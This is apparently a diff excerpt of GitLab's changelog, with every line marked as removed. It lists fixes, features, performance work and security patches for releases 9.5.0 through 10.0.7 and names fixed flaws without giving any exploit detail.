-- [OTHER] Add link to OpenID Connect documentation. !14368 (Markus Koller)
-- [OTHER] Upgrade doorkeeper-openid_connect. !14372 (Markus Koller)
-- [OTHER] Upgrade gitlab-markup gem. !14395 (Markus Koller)
-- [OTHER] Index projects on repository storage. !14414
-- [OTHER] Replace the 'project/shortcuts.feature' spinach test with an rspec analog. !14431 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/service.feature' spinach test with an rspec analog. !14432 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Improve GitHub import performance. !14445
-- [OTHER] Add basic sprintf implementation to JavaScript. !14506
-- [OTHER] Replace the 'project/merge_requests.feature' spinach test with an rspec analog. !14621 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Update GitLab Pages to v0.6.0. !14630
-- [OTHER] Add documentation to summarise project archiving. !14650
-- [OTHER] Remove 'Repo' prefix from API entites. !14694 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Removes cycle analytics service and store from global namespace.
-- [OTHER] Improves i18n for Auto Devops callout.
-- [OTHER] Exports common_utils utility functions as modules.
-- [OTHER] Use `simple=true` for projects API in Projects dropdown for better search performance.
-- [OTHER] Change index on ci_builds to optimize Jobs Controller.
-- [OTHER] Add index for merge_requests.merge_commit_sha.
-- [OTHER] Add (partial) index on Labels.template.
-- [OTHER] Cache issue and MR template names in Redis.
-- [OTHER] changed dashed border button color to be darker.
-- [OTHER] Speed up permission checks.
-- [OTHER] Fix docs for lightweight tag creation via API.
-- [OTHER] Clarify artifact download via the API only accepts branch or tag name for ref.
-- [OTHER] Change recommended MySQL version to 5.6.
-- [OTHER] Bump google-api-client Gem from 0.8.6 to 0.13.6.
-- [OTHER] Detect when changelog entries are invalid.
-- [OTHER] Use a UNION ALL for getting merge request notes.
-- [OTHER] Remove an index on ci_builds meant to be only temporary.
-- [OTHER] Remove a SQL query from the todos index page.
-- Support custom attributes on users. !13038 (Markus Koller)
-- made read-only APIs for public merge requests available without authentication. !13291 (haseebeqx)
-- Hide read_registry scope when registry is disabled on instance. !13314 (Robin Bobbitt)
-- creation of keys moved to services. !13331 (haseebeqx)
-- Add username as GL_USERNAME in hooks.
-
-## 10.0.7 (2017-12-07)
-
-### Security (5 changes)
-
-- Fix e-mail address disclosure through member search fields
-- Prevent creating issues through API when user does not have permissions
-- Prevent an information disclosure in the Groups API
-- Fix user without access to private Wiki being able to see it on the project page
-- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
-
-
-## 10.0.5 (2017-11-03)
-
-- [FIXED] Fix incorrect X-axis labels in Prometheus graphs. !14258
-- [FIXED] Fix `rake gitlab:incoming_email:check` and make it report the actual error. !14423
-- [FIXED] Does not check if an invariant hashed storage path exists on disk when renaming projects. !14428
-- [FIXED] Fix bottom spacing for dropdowns that open upwards. !14535
-- [FIXED] Fix the project import with issues and milestones. !14657
-- [FIXED] Fix broken Y-axis scaling in some Prometheus graphs. !14693
-- [FIXED] Fixed duplicate notifications when added multiple labels on an issue. !14798
-- [FIXED] Don't rename paths that were freed up when upgrading. !15029
-- [FIXED] Fixed issue/merge request breadcrumb titles not having links.
-- [FIXED] Fix application setting to cache nil object.
-- [FIXED] Fix missing Import/Export issue assignees.
-- [FIXED] Allow boards as top level route.
-- [FIXED] Fixed milestone breadcrumb links.
-- [FIXED] Fixed merge request widget merged & closed date tooltip text.
-- [FIXED] fix merge request widget status icon for failed CI.
-
-## 10.0.4 (2017-10-16)
-
-- [SECURITY] Move project repositories between namespaces when renaming users.
-- [SECURITY] Prevent an open redirect on project pages.
-- [SECURITY] Prevent a persistent XSS in user-provided markup.
-
-## 10.0.3 (2017-10-05)
-
-- [FIXED] find_user Users helper method no longer overrides find_user API helper method. !14418
-- [FIXED] Fix CSRF validation issue when closing/opening merge requests from the UI. !14555
-- [FIXED] Kubernetes integration: ensure v1.8.0 compatibility. !14635
-- [FIXED] Fixes data parameter not being sent in ajax request for jobs log.
-- [FIXED] Improves UX of autodevops popover to match gpg one.
-- [FIXED] Fixed commenting on side-by-side commit diff.
-- [FIXED] Make sure API responds with 401 when invalid authentication info is provided.
-- [FIXED] Fix merge request counter updates after merge.
-- [FIXED] Fix gitlab-rake gitlab:import:repos task failing.
-- [FIXED] Fix pushes to an empty repository not invalidating has_visible_content? cache.
-- [FIXED] Ensure all refs are restored on a restore from backup.
-- [FIXED] Gitaly RepositoryExists remains opt-in for all method calls.
-- [FIXED] Fix 500 error on merged merge requests when GitLab is restored from a backup.
-- [FIXED] Adjust MRs being stuck on "process of being merged" for more than 2 hours.
-
-## 10.0.2 (2017-09-27)
-
-- [FIXED] Notes will not show an empty bubble when the author isn't a member. !14450
-- [FIXED] Some checks in `rake gitlab:check` were failling with 'undefined method `run_command`'. !14469
-- [FIXED] Make locked setting of Runner to not affect jobs scheduling. !14483
-- [FIXED] Re-allow `name` attribute on user-provided anchor HTML.
-
-## 10.0.1 (2017-09-23)
-
-- [FIXED] Fix duplicate key errors in PostDeployMigrateUserExternalMailData migration.
-
-## 10.0.0 (2017-09-22)
-
-- [SECURITY] Upgrade brace-expansion NPM package due to security issue. !13665 (Markus Koller)
-- [REMOVED] Remove CI API v1.
-- [FIXED] Ensure correct visibility level options shown on all Project, Group, and Snippets forms. !13442
-- [FIXED] Fix the /projects/:id/repository/files/:file_path/raw endpoint to handle dots in the file_path. !13512 (mahcsig)
-- [FIXED] Merge request reference in merge commit changed to full reference. !13518 (haseebeqx)
-- [FIXED] Removes Sortable default scope. !13558
-- [FIXED] Wiki table of contents are now properly nested to reflect header level. !13650 (Akihiro Nakashima)
-- [FIXED] Improve bare project import: Allow subgroups, take default visibility level into account. !13670
-- [FIXED] Fix group and project search for anonymous users. !13745
-- [FIXED] Fix searching for files by path. !13798
-- [FIXED] Fix division by zero error in blame age mapping. !13803 (Jeff Stubler)
-- [FIXED] Fix incorrect date/time formatting on prometheus graphs. !13865
-- [FIXED] Changes the password change workflow for admins. !13901
-- [FIXED] API: Respect default group visibility when creating a group. !13903 (Robert Schilling)
-- [FIXED] Unescape HTML characters in Wiki title. !13942 (Jacopo Beschi @jacopo-beschi)
-- [FIXED] Make blob viewer for rich contents wider for mobile. !14011 (Takuya Noguchi)
-- [FIXED] Fix typo in the API Deploy Keys documentation page. !14014 (Vitaliy @blackst0ne Klachkov)
-- [FIXED] Hide admin link from default search results for non-admins. !14015
-- [FIXED] Fix problems sanitizing URLs with empty passwords. !14083
-- [FIXED] Fix stray OR in New Project page. !14096 (Robin Bobbitt)
-- [FIXED] Fix a wrong `X-Gitlab-Event` header when testing webhooks. !14108
-- [FIXED] Fix the diff file header from being html escaped for renamed files. !14121
-- [FIXED] Image attachments are properly displayed in notification emails again. !14161
-- [FIXED] Fixes the 500 errors caused by a race condition in GPG's tmp directory handling. !14194 (Alexis Reigel)
-- [FIXED] Fix MR ready to merge buttons/controls at mobile breakpoint. !14242
-- [FIXED] Fix Pipeline Triggers to show triggered label and predefined variables (e.g. CI_PIPELINE_TRIGGERED). !14244
-- [FIXED] Allow using newlines in pipeline email service recipients. !14250
-- [FIXED] Fix errors when moving issue with reference to a group milestone. !14294
-- [FIXED] Fix the "resolve discussion in a new issue" button. !14357
-- [FIXED] File uploaders do not perform hard check, only soft check.
-- [FIXED] Add to_project_id parameter to Move Issue via API example.
-- [FIXED] Update x/x discussions resolved checkmark icon to be green when all discussions resolved.
-- [FIXED] Fixed add diff note button not showing after deleting a comment.
-- [FIXED] Fix broken svg in jobs dropdown for success status.
-- [FIXED] Fix buttons with different height in merge request widget.
-- [FIXED] Removes disabled state from dashboard project button.
-- [FIXED] Better align fallback image emojis.
-- [FIXED] Remove focus styles from dropdown empty links.
-- [FIXED] Fix inconsistent spacing for edit buttons on issues and merge request page.
-- [FIXED] Fix edit merge request and issues button inconsistent letter casing.
-- [FIXED] Improve Import/Export memory usage.
-- [FIXED] Fix Import/Export issue to do with fork merge requests.
-- [FIXED] Fix invite by email address duplication.
-- [FIXED] Adds tooltip to the branch name and improves performance.
-- [FIXED] Disable GitLab Project Import Button if source disabled.
-- [FIXED] Migrate issues authored by deleted user to the Ghost user.
-- [FIXED] Fix new navigation wrapping and causing height to grow.
-- [FIXED] Normalize styles for empty state combo button.
-- [FIXED] Fix external link to Composer website.
-- [FIXED] Prevents jobs dropdown from closing in pipeline graph.
-- [FIXED] Include the `is_admin` field in the `GET /users/:id` API when current user is an admin.
-- [FIXED] Fix breadcrumbs container in issue boards.
-- [FIXED] Fix project feature being deleted when updating project with invalid visibility level.
-- [FIXED] Truncate milestone title if sidebar is collapsed.
-- [FIXED] Prevents rendering empty badges when request fails.
-- [FIXED] Fixes margins on the top buttons of the pipeline table.
-- [FIXED] Bump jira-ruby gem to 1.4.1 to fix issues with HTTP proxies.
-- [FIXED] Eliminate N+1 queries in loading discussions.json endpoint.
-- [FIXED] Eliminate N+1 queries referencing issues.
-- [FIXED] Remove unnecessary loading of discussions in `IssuesController#show`.
-- [FIXED] Fix errors thrown in merge request widget with external CI service/integration.
-- [FIXED] Do not show the Auto DevOps banner when the project has a .gitlab-ci.yml on master.
-- [FIXED] Reword job to pipeline to reflect what the graphs are really about.
-- [FIXED] Sort templates in the dropdown.
-- [FIXED] Fix Auto DevOps banner to be shown on empty projects.
-- [FIXED] Resolve Image onion skin + swipe does not work anymore.
-- [FIXED] Fix mini graph pipeline breakin in merge request view.
-- [FIXED] Fixed merge request changes bar jumping.
-- [FIXED] Improve migrations using triggers.
-- [FIXED] Fix ConvDev Index nav item and Monitoring submenu regression.
-- [FIXED] disabling notifications globally now properly turns off group/project added
- emails !13325
-- [DEPRECATED] Deprecate custom SSH client configuration for the git user. !13930
-- [CHANGED] allow all users to delete their account. !13636 (Jacopo Beschi @jacopo-beschi)
-- [CHANGED] Use full path of project's avatar in webhooks. !13649 (Vitaliy @blackst0ne Klachkov)
-- [CHANGED] Add filtered search to group merge requests dashboard. !13688 (Hiroyuki Sato)
-- [CHANGED] Fire hooks asynchronously when creating a new job to improve performance. !13734
-- [CHANGED] Improve performance for AutocompleteController#users.json. !13754 (Hiroyuki Sato)
-- [CHANGED] Update the GPG verification semantics: A GPG signature must additionally match the committer in order to be verified. !13771 (Alexis Reigel)
-- [CHANGED] Support a multi-word fuzzy search issues/merge requests on search bar. !13780 (Hiroyuki Sato)
-- [CHANGED] Default LDAP config "verify_certificates" to true for security. !13915
-- [CHANGED] "Share with group lock" now applies to subgroups, but owner can override setting on subgroups. !13944
-- [CHANGED] Make Gitaly PostUploadPack mandatory. !13953
-- [CHANGED] Remove project select dropdown from breadcrumb. !14010
-- [CHANGED] Redesign project feature permissions settings. !14062
-- [CHANGED] Document version Group Milestones API introduced.
-- [CHANGED] Finish migration to the new events setup.
-- [CHANGED] restyling of OAuth authorization confirmation. (Jacopo Beschi @jacopo-beschi)
-- [CHANGED] Added support for specific labels and colors.
-- [CHANGED] Move "Move issue" controls to right-sidebar.
-- [CHANGED] Remove pages settings when not available.
-- [CHANGED] Allow all AutoDevOps banners to be turned off.
-- [CHANGED] Update Rails project template to use Postgresql by default.
-- [CHANGED] Added support the multiple time series for prometheus monitoring.
-- [ADDED] API: Respect the "If-Unmodified-Since" header when delting a resource. !9621 (Robert Schilling)
-- [ADDED] Protected runners. !13194
-- [ADDED] Add support for copying permalink to notes via more actions dropdown. !13299
-- [ADDED] Add API support for wiki pages. !13372 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Add a `Last 7 days` option for Cycle Analytics view. !13443 (Mehdi Lahmam (@mehlah))
-- [ADDED] inherits milestone and labels when a merge request is created from issue. !13461 (haseebeqx)
-- [ADDED] Add 'from commit' information to cherry-picked commits. !13475 (Saverio Miroddi)
-- [ADDED] Add an option to list only archived projects. !13492 (Mehdi Lahmam (@mehlah))
-- [ADDED] Extend API: Pipeline Schedule Variable. !13653
-- [ADDED] Add settings for minimum SSH key strength and allowed key type. !13712 (Cory Hinshaw)
-- [ADDED] Add div id to the readme in the project overview. !13735 (Riccardo Padovani @rpadovani)
-- [ADDED] Add CI/CD job predefined variables with user name and login. !13824
-- [ADDED] API: Add GPG key management. !13828 (Robert Schilling)
-- [ADDED] Add CI/CD active kubernetes job policy. !13849
-- [ADDED] Add dropdown to Projects nav item. !13866
-- [ADDED] Allow users and administrator to configure Auto-DevOps. !13923
-- [ADDED] Implement `failure_reason` on `ci_builds`. !13937
-- [ADDED] Add branch existence check to the APIv4 branches via HEAD request. !13979 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Add quick submission on user settings page. !14007 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Add my_reaction_emoji param to /issues and /merge_requests API. !14016 (Hiroyuki Sato)
-- [ADDED] Make it possible to download a single job artifact file using the API. !14027
-- [ADDED] Add repository toggle for automatically resolving outdated diff discussions. !14053 (AshleyDumaine)
-- [ADDED] Scripts to detect orphaned repositories. !14204
-- [ADDED] Created callout for auto devops.
-- [ADDED] Add option in preferences to change navigation theme color.
-- [ADDED] Add JSON logger in `log/api_json.log` for Grape API endpoints.
-- [ADDED] Add CI_PIPELINE_SOURCE variable on CI Jobs.
-- [ADDED] Changed message and title on the 404 page. (Branka Martinovic)
-- [ADDED] Handle if Auto DevOps domain is not set in project settings.
-- [ADDED] Add collapsable sections for Pipeline Settings.
-- [OTHER] Add badge for dependency status. !13588 (Markus Koller)
-- [OTHER] Migration to remove pending delete projects with non-existing namespace. !13598
-- [OTHER] Bump rouge to v2.2.0. !13633
-- [OTHER] Fix repository equality check and avoid fetching ref if the commit is already available. This affects merge request creation performance. !13685
-- [OTHER] Replace 'source/search_code.feature' spinach test with an rspec analog. !13697 (blackst0ne)
-- [OTHER] Remove unwanted refs after importing a project. !13766
-- [OTHER] Never wait for sidekiq jobs when creating projects. !13775
-- [OTHER] Gitaly feature toggles are on by default in development. !13802
-- [OTHER] Remove `is_` prefix from predicate method names. !13810 (Maxim Rydkin)
-- [OTHER] Update 'Using Docker images' documentation. !13848
-- [OTHER] Update gpg documentation with gpg2. !13851 (M M Arif)
-- [OTHER] Replace 'project/star.feature' spinach test with an rspec analog. !13855 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace 'project/user_lookup.feature' spinach test with an rspec analog. !13863 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Bump rouge to v2.2.1. !13887
-- [OTHER] Add documentation for PlantUML in reStructuredText. !13900 (Markus Koller)
-- [OTHER] Decrease ABC threshold to 55.25. !13904 (Maxim Rydkin)
-- [OTHER] Decrease Cyclomatic Complexity threshold to 14. !13972 (Maxim Rydkin)
-- [OTHER] Update documentation for confidential issue. !14117
-- [OTHER] Remove redundant WHERE from event queries.
-- [OTHER] Memoize the latest builds of a pipeline on a project's homepage.
-- [OTHER] Re-use issue/MR counts for the pagination system.
-- [OTHER] Memoize pipelines for project download buttons.
-- [OTHER] Reorganize indexes for the "deployments" table.
-- [OTHER] Improves markdown rendering performance for commit lists.
-- [OTHER] Only update the sidebar count caches when needed.
-- [OTHER] Improves performance of vue code by using vue files and moving svg out of data function in pipeline schedule callout.
-- [OTHER] Rework how recent push events are retrieved.
-- [OTHER] Restyle dropdown menus to make them look consistent.
-- [OTHER] Upgrade grape to 1.0.
-- [OTHER] Add usage data for Auto DevOps.
-- [OTHER] Cache the number of open issues and merge requests.
-- [OTHER] Constrain environment deployments to project IDs.
-- [OTHER] Eager load namespace owners for project dashboards.
-- [OTHER] Add description template examples to documentation.
-- [OTHER] Disallow NULL values for environments.project_id.
-- Add my reaction filter to search bar. !12962 (Hiroyuki Sato)
-- Generalize profile updates from providers. !12968 (Alexandros Keramidas)
-- Validate PO-files in static analysis. !13000
-- First-time contributor badge. !13143 (Micaël Bergeron <micaelbergeron@gmail.com>)
-- Add option to disable project export on instance. !13211 (Robin Bobbitt)
-- Hashed Storage support for Repositories (EXPERIMENTAL). !13246
-- Added tests for commits API unauthenticated user and public/private project. !13287 (Jacopo Beschi @jacopo-beschi)
-- Fix CI_PROJECT_PATH_SLUG slugify. !13350 (Ivan Chernov)
-- Add checks for branch existence before changing HEAD. !13359 (Vitaliy @blackst0ne Klachkov)
-- Fix the alignment of line numbers to lines of code in code viewer. !13403 (Trevor Flynn)
-- Allow users to move issues to other projects using a / command. !13436 (Manolis Mavrofidis)
-- Bumps omniauth-ldap gem version to 2.0.4. !13465
-- Implement the Gitaly RefService::RefExists endpoint. !13528 (Andrew Newdigate)
-- Changed all font-weight values to 400 and 600 and introduced 2 variables to manage them.
-- Simplify checking if objects exist code in new issaubles workers.
-- Present enqueued merge jobs as Merging as well.
-- Don't escape html entities in InlineDiffMarkdownMarker.
-- Move ConvDev Index location to after Cohorts.
-- Added type to CHANGELOG entries. (Jacopo Beschi @jacopo-beschi)
-- [BUGIFX] Improves subgroup creation permissions. !13418
-
-## 9.5.10 (2017-11-08)
-
-- [SECURITY] Add SSRF protections for hostnames that will never resolve but will still connect to localhost
-- [SECURITY] Include X-Content-Type-Options (XCTO) header into API responses
-
-## 9.5.9 (2017-10-16)
-
-- [SECURITY] Move project repositories between namespaces when renaming users.
-- [SECURITY] Prevent an open redirect on project pages.
-- [SECURITY] Prevent a persistent XSS in user-provided markup.
-- [FIXED] Allow using newlines in pipeline email service recipients. !14250
-- Escape user name in filtered search bar.
-
-## 9.5.8 (2017-10-04)
-
-- [FIXED] Fixed fork button being disabled for users who can fork to a group.
-
-## 9.5.7 (2017-10-03)
-
-- Fix gitlab rake:import:repos task.
-
-## 9.5.6 (2017-09-29)
-
-- [FIXED] Fix MR ready to merge buttons/controls at mobile breakpoint. !14242
-- [FIXED] Fix errors thrown in merge request widget with external CI service/integration.
-- [FIXED] Update x/x discussions resolved checkmark icon to be green when all discussions resolved.
-- [FIXED] Fix 500 error on merged merge requests when GitLab is restored from a backup.
-
-## 9.5.5 (2017-09-18)
-
-- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
-- [FIXED] Fix division by zero error in blame age mapping. !13803 (Jeff Stubler)
-- [FIXED] Fix problems sanitizing URLs with empty passwords. !14083
-- [FIXED] Fix a wrong `X-Gitlab-Event` header when testing webhooks. !14108
-- [FIXED] Fixes the 500 errors caused by a race condition in GPG's tmp directory handling. !14194 (Alexis Reigel)
-- [FIXED] Fix Pipeline Triggers to show triggered label and predefined variables (e.g. CI_PIPELINE_TRIGGERED). !14244
-- [FIXED] Fix project feature being deleted when updating project with invalid visibility level.
-- [FIXED] Fix new navigation wrapping and causing height to grow.
-- [FIXED] Fix buttons with different height in merge request widget.
-- [FIXED] Normalize styles for empty state combo button.
-- [FIXED] Fix broken svg in jobs dropdown for success status.
-- [FIXED] Improve migrations using triggers.
-- [FIXED] Disable GitLab Project Import Button if source disabled.
-- [CHANGED] Update the GPG verification semantics: A GPG signature must additionally match the committer in order to be verified. !13771 (Alexis Reigel)
-- [OTHER] Fix repository equality check and avoid fetching ref if the commit is already available. This affects merge request creation performance. !13685
-- [OTHER] Update documentation for confidential issue. !14117
-
-## 9.5.4 (2017-09-06)
-
-- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
-- [SECURITY] Prevent a persistent XSS in the commit author block.
-- Fix XSS issue in go-get handling.
-- Resolve CSRF token leakage via pathname manipulation on environments page.
-- Fixes race condition in project uploads.
-- Disallow arbitrary properties in `th` and `td` `style` attributes.
-- Disallow the `name` attribute on all user-provided markup.
-
-## 9.5.3 (2017-09-03)
-
-- [SECURITY] Filter additional secrets from Rails logs.
-- [FIXED] Make username update fail if the namespace update fails. !13642
-- [FIXED] Fix failure when issue is authored by a deleted user. !13807
-- [FIXED] Reverts changes made to signin_enabled. !13956
-- [FIXED] Fix Merge when pipeline succeeds button dropdown caret icon horizontal alignment.
-- [FIXED] Fixed diff changes bar buttons from showing/hiding whilst scrolling.
-- [FIXED] Fix events error importing GitLab projects.
-- [FIXED] Fix pipeline trigger via API fails with 500 Internal Server Error in 9.5.
-- [FIXED] Fixed fly-out nav flashing in & out.
-- [FIXED] Remove closing external issues by reference error.
-- [FIXED] Re-allow appearances.description_html to be NULL.
-- [CHANGED] Update and fix resolvable note icons for easier recognition.
-- [OTHER] Eager load head pipeline projects for MRs index.
-- [OTHER] Instrument MergeRequest#fetch_ref.
-- [OTHER] Instrument MergeRequest#ensure_ref_fetched.
-
-## 9.5.2 (2017-08-28)
-
-- [FIXED] Fix signing in using LDAP when attribute mapping uses simple strings instead of arrays.
-- [FIXED] Show un-highlighted text diffs when we do not have references to the correct blobs.
-- [FIXED] Fix display of push events for removed refs.
-- [FIXED] Testing of some integrations were broken due to missing ServiceHook record.
-- [FIXED] Fire system hooks when a user is created via LDAP.
-- [FIXED] Fix new project form not resetting the template value.
-
-## 9.5.1 (2017-08-23)
-
-- [FIXED] Fix merge request pipeline status when pipeline has errors. !13664
-- [FIXED] Commit rows would occasionally render with the wrong language.
-- [FIXED] Fix caching of future broadcast messages.
-- [FIXED] Only require Sidekiq throttling library when enabled, to reduce cache misses.
-- Raise Housekeeping timeout to 24 hours. !13719
-
-## 9.5.0 (2017-08-22)
-
-- [FIXED] Fix timeouts when creating projects in groups with many members. !13508
-- [FIXED] Improve API pagination headers when no record found. !13629 (Jordan Patterson)
-- [FIXED] Fix deleting GitLab Pages files when a project is removed. !13631
-- [FIXED] Fix commit list not loading the correct page when scrolling.
-- [OTHER] Cache the number of forks of a project. !13535
-- GPG signed commits integration. !9546 (Alexis Reigel)
-- Alert the user if a Wiki page changed while they were editing it in order to prevent overwriting changes. !9707 (Hiroyuki Sato)
-- Add custom linter for inline JavaScript to haml_lint. !9742 (winniehell)
-- Add /shrug and /tableflip commands. !10068 (Alex Ives)
-- Allow wiki pages to be renamed in the UI. !10069 (wendy0402)
-- Insert user name directly without encoding. !10085 (Nathan Neulinger <nneul@neulinger.org>)
-- Avoid plucking Todo ids in TodoService. !10845
-- Handle errors while a project is being deleted asynchronously. !11088
-- Decrease ABC threshold to 56.96. !11227 (Maxim Rydkin)
-- Remove Mattermost team when deleting a group. !11362
-- Block access to failing repository storage. !11449
-- Add coordinator url to admin area runner page. !11603
-- Allow testing any events for project hooks and system hooks. !11728 (Alexander Randa (@randaalex))
-- Disallow running the pipeline if ref is protected and user cannot merge the branch or create the tag. !11910
-- Remove project_key from the Jira configuration. !12050
-- Add CSRF token verification to API. !12154 (Vitaliy @blackst0ne Klachkov)
-- Fixes needed when GitLab sign-in is not enabled. !12491 (Robin Bobbitt)
-- Lazy load images for better Frontend performance. !12503
-- Replaces dashboard/event_filters.feature spinach with rspec. !12651 (Alexander Randa (@randaalex))
-- Toggle import description with import_sources_enabled. !12691 (Brianna Kicia)
-- Bump scss-lint to 0.54.0. !12733 (Takuya Noguchi)
-- Enable SpaceAfterComma in scss-lint. !12734 (Takuya Noguchi)
-- Remove CSS for nprogress removed. !12737 (Takuya Noguchi)
-- Enable UnnecessaryParentReference in scss-lint. !12738 (Takuya Noguchi)
-- Extract "@request.env[devise.mapping] = Devise.mappings[:user]" to a test helper. !12742 (Jacopo Beschi @jacopo-beschi)
-- Enable ImportPath in scss-lint. !12749 (Takuya Noguchi)
-- Enable PropertySpelling in scss-lint. !12752 (Takuya Noguchi)
-- Add API for protected branches to allow for wildcard matching and no access restrictions. !12756 (Eric Yu)
-- refactor initializations in dropzone_input.js. !12768 (Brandon Everett)
-- Improve CSS for global nav dropdown UI. !12772 (Takuya Noguchi)
-- Remove public/ci/favicon.ico. !12803 (Takuya Noguchi)
-- Enable DeclarationOrder in scss-lint. !12805 (Takuya Noguchi)
-- Increase width of dropdown menus automatically. !12809 (Thomas Wucher)
-- Enable BangFormat in scss-lint [ci skip]. !12815 (Takuya Noguchi)
-- Added /duplicate quick action to close a duplicate issue. !12845 (Ryan Scott)
-- Make all application-settings accessible through the API. !12851
-- Remove Inactive Personal Access Tokens list from Access Tokens page. !12866
-- Replaces dashboard/dashboard.feature spinach with rspec. !12876 (Alexander Randa (@randaalex))
-- Reduce memory usage of the GitHub importer. !12886
-- Bump fog-core to 1.44.3 and fog providers' plugins to latest. !12897 (Takuya Noguchi)
-- Use only CSS to truncate commit message in blame. !12900 (Takuya Noguchi)
-- Protect manual actions against protected tag too. !12908
-- Allow to configure automatic retry of a failed CI/CD job. !12909
-- Remove help message about prioritized labels for non-members. !12912 (Takuya Noguchi)
-- Add link to doc/api/ci/lint.md. !12914 (Takuya Noguchi)
-- Add RequestCache which makes caching with RequestStore easier. !12920
-- Free up some top level words, reject top level groups named like files in the public folder. !12932
-- Extend API for Group Secret Variable. !12936
-- Hide description about protected branches to non-member. !12945 (Takuya Noguchi)
-- Support custom directory in gitlab:backup:create task. !12984 (Markus Koller)
-- Raise guessed encoding confidence threshold to 50. !12990
-- Add author_id & assignee_id param to /issues API. !13004
-- Fix today day highlight in calendar. !13048
-- Prevent LDAP login callback from being called with a GET request. !13059
-- Add top-level merge_requests API endpoint. !13060
-- Handle maximum pages artifacts size correctly. !13072
-- Enable gitaly_post_upload_pack by default. !13078
-- Add Prometheus metrics exporter to Sidekiq. !13082
-- Fix improperly skipped backups of wikis. !13096
-- Projects can be created from templates. !13108
-- Fix the /projects/:id/repository/branches endpoint to handle dots in the branch name when the project full path contains a `/`. !13115
-- Fix project logos that are not centered vertically on list pages. !13124 (Florian Lemaitre)
-- Derive project path from import URL. !13131
-- Fix deletion of deploy keys linked to other projects. !13162
-- repository archive download url now ends with selected file extension. !13178 (haseebeqx)
-- Show auto-generated avatars for Groups without avatars. !13188
-- Allow any logged in users to read_users_list even if it's restricted. !13201
-- Unlock stuck merge request and set the proper state. !13207
-- Fix timezone inconsistencies in user contribution graph. !13208
-- Fix Issue board when using Ruby 2.4. !13220
-- Don't rename namespace called system when upgrading from 9.1.x to 9.5. !13228
-- Fix encoding error for WebHook logging. !13230 (Alexander Randa (@randaalex))
-- Uniquify reserved word usernames on OAuth user creation. !13244 (Robin Bobbitt)
-- Expose target_iid in Events API. !13247 (sue445)
-- Add star for action scope, in order to delete image from registry. !13248 (jean)
-- Make Delete Merged Branches handle wildcard protected branches correctly. !13251
-- Fix an order of operations for CI connection error message in merge request widget. !13252
-- Don't send rejection mails for all auto-generated mails. !13254
-- Expose noteable_iid in Note. !13265 (sue445)
-- Fix pipeline_schedules pages when active schedule has an abnormal state. !13286
-- Move some code from services to workers in order to improve performance. !13326
-- Fix destroy of case-insensitive conflicting redirects. !13357
-- Fix the /projects/:id/repository/tags endpoint to handle dots in the tag name when the project full path contains a `/`. !13368
-- Fix the /projects/:id/repository/commits endpoint to handle dots in the ref name when the project full path contains a `/`. !13370
-- Project pending delete no longer return 500 error in admins projects view. !13389
-- Use full path of user's avatar in webhooks. !13401 (Vitaliy @blackst0ne Klachkov)
-- Make GPGME temporary directory handling thread safe. !13481 (Alexis Reigel)
-- Add support for kube_namespace in Metrics queries. !16169
-- Fix bar chart does not display label at 0 hour. !35136 (Jason Dai)
-- Use project_ref_path to create the link to a branch to fix links that 404.
-- Declare related resources into V4 API entities.
-- Add Slack and JIRA services counts to Usage Data.
-- Prevent web hook and project service background jobs from going to the dead jobs queue.
-- Display specific error message when JIRA test fails.
-- clean up merge request widget UI.
-- Associate Issues tab only with internal issues tracker.
-- Remove events column from notification settings table.
-- Clarifies and rearranges the input variables on the kubernetes integration page and adjusts the docs slightly to meet the same order.
-- Respect blockquote line breaks in markdown.
-- Update confidential issue UI - add confidential visibility and settings to sidebar.
-- Add icons to contextual sidebars.
-- Make contextual sidebar collapsible.
-- Update Pipeline's badge count in Merge Request and Commits view to match real-time content.
-- Added link to the MR widget that directs to the monitoring dashboard.
-- Use jQuery to control scroll behavior in job log for cross browser consistency.
-- move edit comment button outside of dropdown.
-- Updates vue resource and code according to breaking changes.
-- Add GitHub imported projects count to usage data.
-- Rename about to overview for group and project page.
-- Prevent disabled pagination button to be clicked.
-- Remove coffee-rails gem. (Takuya Noguchi)
-- Remove net-ssh gem. (Takuya Noguchi)
-- Bump rubocop to 0.49.1 and rubocop-rspec to 1.15.1. (Takuya Noguchi)
-- improve file upload/replace experience.
-- allow closing Cycle Analytics intro box in firefox.
-- Fix label creation from new list for subgroup projects.
-- fix transient js error in rspec tests.
-- fix jump to next discussion button.
-- Fix translations for Star/Unstar in JS file.
-- Improve mobile sidebar.
-- Rename Pipelines tab to CI / CD in new navigation.
-- Fix display of new diff comments after changing b between diff views.
-- Store & use ConvDev percentages returned by the Version app.
-- Fixes new issue button for failed job returning 404.
-- Align OR separator to center in new project page.
-- Add filtered search to group issue dashboard.
-- Cache Appearance instances in Redis.
-- Fixed breadcrumbs title aggressively collapsing.
-- Better caching and indexing of broadcast messages.
-- Moved diff changed files into a dropdown.
-- Improve performance of large (initial) push into default branch.
-- Improve performance of checking for projects on the projects dashboard.
-- Eager load project creators for project dashboards.
-- Modify if condition to be more readable.
-- Fix links to group milestones from issue and merge request sidebar.
-- Remove hidden symlinks from project import files.
-- Fixed sign-in restrictions buttons not toggling active state.
-- Fix replying to commit comments on merge requests created from forks.
-- Support Markdown references, autocomplete, and quick actions for group milestones.
-- Cache recent projects for group-level new resource creation.
-- Fix API responses when dealing with txt files.
-- Fix project milestones import when projects belongs to a group.
-- Fix Mattermost integration.
-- Memoize the number of personal projects a user has to reduce COUNT queries.
-- Merge issuable "reopened" state into "opened".
-- Migrate events into a new format to reduce the storage necessary and improve performance.
-- MR branch link now links to tree instead of commits.
-- Use Prev/Next pagination for exploring projects.
-- Pass before_script and script as-is preserving arrays.
-- Change project FK migration to skip existing FKs.
-- Remove redundant query when retrieving the most recent push of a user.
-- Re-organise "issues" indexes for faster ordering.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-- Fix search box losing focus when typing.
-- Add structured logging for Rails processes.
-- Skip oAuth authorization for trusted applications.
-- Use a specialized class for querying events to improve performance.
